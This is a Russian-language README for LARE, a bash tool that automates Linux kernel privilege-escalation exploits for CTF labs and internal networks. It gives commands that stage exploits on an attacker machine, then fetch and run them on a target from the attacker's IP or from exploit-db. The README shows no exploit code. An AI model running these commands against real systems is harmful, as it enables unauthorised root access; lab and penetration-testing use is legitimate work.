LARE

[L]окальный [A]втоматический [R]ут-[E]ксплоитер — это простой bash-скрипт, который помогает развернуть локальные эксплойты для получения root-прав с атакующей машины, когда на целевой машине нет доступа в интернет.

Скрипт полезен в сценарии, когда целевая машина не имеет интернет-соединения (например), когда вы переходите во внутренние сети или участвуете в CTF, которые используют VPN для подключения к своим закрытым лабораториям (например, hackthebox.gr или даже в лабораториях OSCP).
Скрипт использует локальные эксплойты для ядра Linux 2.6–4.8.

Этот скрипт вдохновлён Nilotpal Biswas's Auto Root Exploit Tool

Использование:

1. Атака цели в закрытой сети

Сначала необходимо развернуть арсенал эксплойтов на атакующей машине и запустить экземпляр Apache2 с помощью следующей команды. bash LARE.sh -a или ./LARE.sh -a
После этого скопируйте скрипт на целевую машину любым способом (wget, ftp, curl и т.д.) и запустите эксплойтер локально с помощью следующей команды: bash LARE.sh -l [IP-атакующего] или ./LARE.sh -l [IP-атакующего]

2. Атака цели с доступом в интернет

В этом сценарии скрипт запускается на целевой машине, и он загружает эксплойты из репозитория GitHub exploit-db и использует их для эксплуатации напрямую. Это оригинальная функциональность Auto Root Exploit Tool с некоторыми доработками. Запустите эксплойтер с помощью следующей команды: bash LARE.sh -l или ./LARE.sh -l

Примечание

Скрипт запускает несколько эксплойтов для ядра на машине, что может привести к нестабильности системы. Настоятельно рекомендуется использовать его только в крайнем случае и в непродуктивной среде.